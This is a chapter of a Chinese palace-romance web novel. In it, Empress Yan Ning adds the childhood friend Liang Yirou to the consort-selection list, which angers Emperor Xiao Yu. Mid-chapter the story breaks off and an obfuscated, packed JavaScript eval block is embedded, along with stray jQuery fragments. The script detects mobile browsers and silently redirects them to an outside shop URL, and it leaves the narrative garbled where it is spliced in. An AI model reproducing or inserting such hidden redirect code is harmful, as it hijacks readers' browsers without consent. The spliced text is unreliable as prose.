60. 曲解

作品:《退婚之后(重生)

    选妃的消息很快就传遍了上京,激起了无数闺阁女子的期待。


    余盛走后,青橘曾私下里问过晏宁:“娘娘,您真要为皇上选妃吗?”


    他是皇帝,本就注定妻妾成群,而她压根就没有反对的余地。


    “余大人已经说得很清楚了,选妃是早晚的事,总不能一直拖着……”


    拖延解决不了问题,与其受制于人,倒不如顺了他们的意,好歹还能博得些许美名。


    看着她淡泊的眼神,青橘越发忧心:“可您和皇上才刚刚成亲,一旦有了新人,他难免会分心,往后还怎么和您培养感情?”


    迎着她忧虑的目光,晏宁唇角一弯,勾起了一抹淡淡的讥嘲:“以后的事就留到以后再说吧。”


    “可是……”青橘还想再劝,却见青杏神色凝重地冲她摇头。


    她眸光一滞,思虑再三,终是咽下了那些陈词。


    见她垂眸不语,一副郁郁寡欢的模样,晏宁在心底默默地叹了口气。


    青橘生性单纯,总以为近水楼台便可先得月色,可日久不一定会生情,就算生了情也未必不会变心。


    天家夫妇本就是基于利益,彼此之间不过是各取所需。


    萧御已经给了她尊荣,她便不能再奢求他的真心。更何况真心本就瞬息万变,就算给了也很难长久。


    这些道理青橘可以不明白,她却不能不懂。


    ***


    余盛走后,萧御一直没来。


    青橘几次想要去请,都被晏宁给拦下了。


    “娘娘,您还是让青橘去走一趟吧,再这么等下去,菜都凉透了……”


    等待多时,香气诱人的羹汤早已冷寂,就连鲜嫩翠绿的时蔬也失去了原本的色泽。


    窗外已是暮色苍茫,褪去了五彩的霞光后,便只剩下一片空洞的昏黄。


    晏宁黯然垂眸,掩去了眼底的失落,默默地拿起了筷子。


    “不必等了。”


    他不是不知道凤仪宫里用膳的时辰,若是想来,根本用不着人去请。


    就算是真的抽不开身,也该遣人来通传一声,而不是让她一等再等。


    “可是……”青杏还想再劝,晏宁却已经捧起玉碗,显然不愿多言,“用膳吧。”


    她低头用膳的时候,青杏抬眸看向了一脸无奈的青橘,却也只能在心底郁郁叹息。


    沐浴过后,夜色越发深沉,殿外却是一片静谧。


    知道萧御不会再来,晏宁也就歇了等待的心思,换上寝衣后,便吩咐青橘吹灭烛火。


    闻言,青橘眸光一滞,颇有些为难地问道:“时辰还早,要不还是再等一会儿吧?”


    除了最初的那几日,其他时候,萧御大多是宿在凤仪宫的。晚膳她可以不等,可就寝之事怠慢不得。


    她急得心如火烧,晏宁却神色如常,眼底没有半点波澜:“把烛火灭了就去休息吧,今晚不必守夜了。”


    “娘娘,您真就一点也不着急吗?”


    看着她浑不在意的模样,青橘心中越发焦灼。


    “奴婢知道您心高气傲,可皇上是您的夫君啊,您这样冷淡,就不怕伤了他的心吗?”


    见晏宁抿唇不语,她又愤然劝道:“便是在寻常人家,做妻子的也要千方百计地笼络住丈夫的心,更何况是在这百花争艳的宫里?您这样不争不抢,就不怕被人取而代之吗?”


    这番话已是大大的僭越,她甚至做好了被厌弃放逐的准备。


    可晏宁却并未苛责,而是垂眸溢出了一声轻叹。


    “你不明白……”


    “娘娘,您经历了那么多磨难,好不容易才走到今日,难道就甘心沦为旁人的垫脚石吗?”


    因为太过忧切,她连嗓音都带着些许哽咽。


    望着她忧心如焚的眼眸,晏宁眸光一闪,终是露出了几分落寞。


    “你知道的,我从来就不会献媚讨好。”


    将她的逃避看在眼里,青橘渐渐生出一股失望:“从前您不是这样的。”


    一句“从前”听得晏宁眸光一怔,思绪瞬间飘回了过往。


    她不是一个会轻易认输的人。


    一开始,张皇后也并不喜欢她这个丧母孤女,可为了萧恒,她还是费尽心机地投其所好。


    茶道、簪花,还有那些枯燥的佛经古籍,只要是张皇后喜欢的,她都会不余遗力地学习。


    为了赢得皇帝的褒奖,她不分昼夜地苦读诗书,这才有了宫宴上惊才绝艳的诗作。


    为了达成所愿,她向来可以倾尽一切。


    可她做了那么多的努力,得到的又是什么?


    她的沉默让青橘无比心痛,所以吹灭烛火后,她便躬身退下,徒留满室的黑暗和孤寂。


    身下的凤榻依旧柔软,而满腹心事的她几经辗转也无法入眠。


    一闭眼,青橘的话就不断地在耳畔回响。


    不争不抢、自暴自弃。这本不是皇后该有的模样。


    可经历了萧恒的背叛后,她再也无法像从前一样心怀期待。


    更何况,她和萧御之间的关系本就错综复杂。


    在没弄清萧御的心思之前,她绝不会贸然地低头迎合。


    长夜漫漫,她却直到丑时才昏昏睡去。


    再醒来时,已是日上三竿,而明漪早已候在侧殿。


    “娘娘,余大人送了一份初选的名单来。”


    晏宁尚有些怔愣,明漪却已快步上前,将手里的名册递了过来。


    秦太尉的孙女秦蓁,钱老尚书的孙女钱静怡,工部尚书崔长清的胞妹崔令容,户部侍郎裴樾的堂妹裴清婉,国子监祭酒薛明远的女儿薛晗。


    名册里写满了密密麻麻的名字,最前列都是些她待字闺中就已经有所耳闻的人。


    再往后看却渐渐陌生,不止是那些女子,就连她们父兄的名讳,晏宁也未曾听过。


    她低头翻看名册的时候,明漪也在默默地观察着她。


    良久之后,晏宁才缓缓抬眸,可眼底却覆满了疑惑。


    “怎么没有梁姑娘的名字?”


    她虽已超龄,不符合采选的条件,可凭她和萧御的关系,也不是不能破例。


    对上她狐疑的目光,明漪却不紧不慢地答道:“梁姑娘并不符合采选的要求。”


    作为梁家的故人,明漪未曾流露出丝毫惋惜,平静到让人生疑。


    梁意柔多年未嫁,如今又落了选,定然心有不甘。而梁老夫人爱女心切,想必会另寻他法。


    若她真求到萧御跟前,又该如何?


    是让他破例,引起群臣非议,还是一口回绝,伤了旧情?


    后宫三千佳丽,多梁意柔一个也不算什么。


    与其让萧御为难,倒不如由她来做这个顺水人情。


    思及此,她缓缓合上名册,抬眸之时,眼底一片平和。


    “让余大人把梁姑娘的名字添上去,就说这是本宫的意思。”


    闻言,明漪眸光一动,随即恭谨地接过她递来的名册。


    “眼下正值秋燥,奴婢让人炖了一盅梨汤,娘娘不妨尝一尝。”


    她话音刚落,候在殿门外的宫女就捧着瓷盅,小心翼翼地走了进来。


    “有劳姑姑了。”


    晏宁抿唇一笑,眉眼间尽是感激。


    “等秋试一过,娘娘就要着手筹办琼林宴了,再加上秀女采选,需要您操心的事还有许多,所以您更要好好休养才是。”


    “有姑姑在,本宫必不会太过操劳。”


    望着她唇边的笑意,明漪眸光一闪,也跟着扬起了唇角,“奴婢定会竭力辅佐,绝不辜负娘娘的信任。”


    说罢,二人相视一笑,随后晏宁便低头喝起了梨汤。


    小半个时辰后,明漪带着名册离开了偏殿。


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962543|184108||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚走,青橘就迫不及待地抱怨道:“梁姑娘都已经落选了,娘娘为何还要将她的名字加上?您这不是给自己添堵吗?”


    对上她怨恼的眼神,晏宁叹息着解释道:“就算落了选,她也有别的办法入宫,咱们又何必让皇上为难呢?”


    听出她的言下之意后,青杏的眸中划过一缕不安:“娘娘是说,她会去求皇上?”


    不等晏宁回答,青橘就急切地反驳道:“那也是她和皇上之间的事,娘娘何必要送个人情给她?”


    “你呀,看事情永远都这么浅显,娘娘哪里是为了她?”


    看着青橘激愤的眼神,青杏无奈地摇了摇头。


    “那是为了谁?难不成是皇上吗?”


    望着她眼底的迷惘,青杏无力地叹了口气,“不然呢?”


    会过意来的青橘眸光一怔,错愕地看向晏宁,“可是娘娘,您何至于此啊……”


    昨夜她说了那么多,哪怕晏宁固执己见,仍旧不愿争宠,那也犯不着把人往外推吧?


    见她仍是不懂,青杏郁郁叹息道:“你还不明白吗?梁姑娘入宫是迟早的事,既然阻止不了,那就顺水推舟,也能叫皇上记娘娘一份好。”


    “可那梁姑娘不是什么善茬,她要是进了宫,所有人都得往后站,也包括咱们娘娘。”


    “木秀于林,风必摧之,太受宠也不是什么好事。”


    哪怕是集万千宠爱于一身,也注定逃不过虎狼环伺。


    “可是有皇上护着,谁又敢动她?”


    “你忘了那位谢美人吗?”


    当年,她曾艳压群芳,独得先皇宠爱,可不过半年,她就被一杯毒酒夺了性命。


    而对她极尽宠爱的先皇,却什么也做不了,只能独守回忆遗憾终生。


    青橘被她问的一愣,却还是不以为然地辩驳:“您就不怕日后会搬起石头砸自己的脚吗?”


    “你放心吧,本宫从不打没把握的仗。”


    她既然敢祸水东引,就不怕日后会受到反噬。


    可望着她信心十足的目光,青橘却无法扫除心底的顾虑。


    ***


    酉时三刻,暮色渐沉。晏宁正准备用膳的时候,萧御意外地出现在了凤仪宫里。


    “臣妾参见皇上。”


    她像往常一样屈膝行礼,原以为萧御也会顺势将她扶起,可这一回,他却径直走到桌前坐下。


    “坐吧。”


    耳畔传来他冷淡的命令,晏宁不由得心弦一紧,连呼吸都漏了一拍。


    入坐之后,她缓缓抬眸,看向萧御的眼神里带着一丝试探:“皇上是有什么烦心事吗?”


    听着她柔怯的嗓音,萧御眸光一沉,蓦然转过头来:“是你让人把意柔的名字加进去的?”


    他的目光又沉又暗,细看之下还夹杂着几分不满。


    晏宁心头一震,不明白他为何动怒,却还是给出了回答。


    “是。”


    望着她平静无波的眼眸,萧御心底的怒气越发汹涌。


    “你为什么要这么做?”


    “她和你青梅竹马,又为你误了芳华,你难道不需要给她一个交代吗?让她进宫,既可再续前缘,又能安抚梁家,不是两全其美吗?”


    听了她的回答,萧御瞬间冷了眸光,眼底交织着愤怒和失望。


    “你凭什么自作主张?”


    晏宁眉心一跳,胸腔内泛起一股莫名委屈。


    她好心好意地为他排忧解难,可他却觉得这是自作主张?难不成她还做错了吗?


    “你什么意思?”


    萧御眸光渐冷,眼神晦暗得让人看不清情绪:“她不能入宫!”


    “为什么?”


    既是青梅竹马,他却为何这般无情?难道他也和萧恒一样负心薄幸吗?


    此时此刻,她没有半点身为妻子的庆幸,反而打心底替梁意柔鸣起了不平。